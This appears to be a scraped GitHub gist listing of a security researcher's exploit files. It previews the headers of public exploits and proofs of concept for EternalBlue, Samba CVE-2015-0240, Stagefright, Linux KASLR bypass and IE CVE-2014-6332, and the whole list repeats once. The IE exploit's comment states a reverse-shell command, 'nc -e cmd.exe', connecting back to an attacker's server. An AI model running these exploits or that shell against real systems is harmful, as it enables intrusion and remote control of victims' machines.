Worawit Wangwarunyoo worawit

## ildumper_script_reader.py
# -*- coding: utf-8 -*-
import ghidra.program.model.symbol.SourceType
import re

functionManager = currentProgram.getFunctionManager()
#minAddress = currentProgram.getMinAddress()
baseAddress = currentProgram.getImageBase()

USER_DEFINED = ghidra.program.model.symbol.SourceType.USER_DEFINED

## break_linux_kaslr_nopti.c
/*
This PoC is based on http://www.immunityinc.com/downloads/x86leaks_old.pdf

The PoC finds direct physical map and kernel text address in Linux kernel without PTI on Intel x64.

The PoC might not work correctly in VM. For example, this PoC cannot find correct direct physical map
address in KVM. The reason is in https://www.kernel.org/doc/Documentation/virtual/kvm/mmu.txt


$ ./break_linux_kaslr_nopti

## eternalblue_merge_shellcode.py
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
import sys
from struct import pack

if len(sys.argv) < 4:
	print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
	sys.exit()

sc_x86 = open(sys.argv[1], 'rb').read()
sc_x64 = open(sys.argv[2], 'rb').read()

## eternalblue8_exploit.py
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb, ntlm
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

## eternalblue7_exploit.py
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

## sf-itunes-poc.py
#!/usr/bin/python

"""
Stagefright PoC for https://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c
"""
from struct import pack

def create_box(atom_type, data):
    return pack("!I", len(data)+4+4) + atom_type + data

## http_sys_pseudo.c
/*
Pseudo code in HTTP.sys to understand flow related to MS15-034

All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86

For anyone want to know what function are patched.
Just open patched version and find all functions reference to RtlULongLongAdd().
*/

## cve-2015-0240_samba_exploit.py
#!/usr/bin/python
"""
Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
in libtalloc does not write a value on 'creds' address.

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

## cve-2015-0240_samba_poc
#!/usr/bin/python
"""
PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
This PoC does only triggering the bug

Reference:
- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

#################
Exploitability against CentOS/Ubuntu binaries

## cve-2014-6332_exploit.html
<html>
<head>
<!--
CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
'server_ip' and 'server_port' in javascript below determined the connect back target

Tested on
- IE11 + Windows 7 64-bit (EPM is off)
- IE11 + Windoes 8.1 64-bit (EPM is off)
	# -- coding: utf-8 --
	import ghidra.program.model.symbol.SourceType
	import re

	functionManager = currentProgram.getFunctionManager()
	#minAddress = currentProgram.getMinAddress()
	baseAddress = currentProgram.getImageBase()

	USER_DEFINED = ghidra.program.model.symbol.SourceType.USER_DEFINED
	/*
	This PoC is based on http://www.immunityinc.com/downloads/x86leaks_old.pdf

	The PoC finds direct physical map and kernel text address in Linux kernel without PTI on Intel x64.

	The PoC might not work correctly in VM. For example, this PoC cannot find correct direct physical map
	address in KVM. The reason is in https://www.kernel.org/doc/Documentation/virtual/kvm/mmu.txt


	$ ./break_linux_kaslr_nopti
	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	import sys
	from struct import pack

	if len(sys.argv) < 4:
	print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
	sys.exit()

	sc_x86 = open(sys.argv[1], 'rb').read()
	sc_x64 = open(sys.argv[2], 'rb').read()
	#!/usr/bin/python
	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	from impacket import smb, ntlm
	from struct import pack
	import sys
	import socket

	'''
	EternalBlue exploit for Windows 8 and 2012 by sleepya
	The exploit might FAIL and CRASH a target system (depended on what is overwritten)
	#!/usr/bin/python
	# This file has no update anymore. Please see https://github.com/worawit/MS17-010
	from impacket import smb
	from struct import pack
	import sys
	import socket

	'''
	EternalBlue exploit for Windows 7/2008 by sleepya
	The exploit might FAIL and CRASH a target system (depended on what is overwritten)
	#!/usr/bin/python

	"""
	Stagefright PoC for https://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c
	"""
	from struct import pack

	def create_box(atom_type, data):
	return pack("!I", len(data)+4+4) + atom_type + data
	/*
	Pseudo code in HTTP.sys to understand flow related to MS15-034

	All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86

	For anyone want to know what function are patched.
	Just open patched version and find all functions reference to RtlULongLongAdd().
	*/
	#!/usr/bin/python
	"""
	Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

	The exploit only targets vulnerable x86 smbd <3.6.24 which 'creds' is controlled by
	ReferentID field of PrimaryName (ServerName). That means '_talloc_zero()'
	in libtalloc does not write a value on 'creds' address.

	Reference:
	- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/
	#!/usr/bin/python
	"""
	PoC for Samba vulnerabilty (CVE-2015-0240) by sleepya
	This PoC does only triggering the bug

	Reference:
	- https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/

	#################
	Exploitability against CentOS/Ubuntu binaries
	<html>
	<head>
	<!--
	CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
	The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
	'server_ip' and 'server_port' in javascript below determined the connect back target

	Tested on
	- IE11 + Windows 7 64-bit (EPM is off)
	- IE11 + Windoes 8.1 64-bit (EPM is off)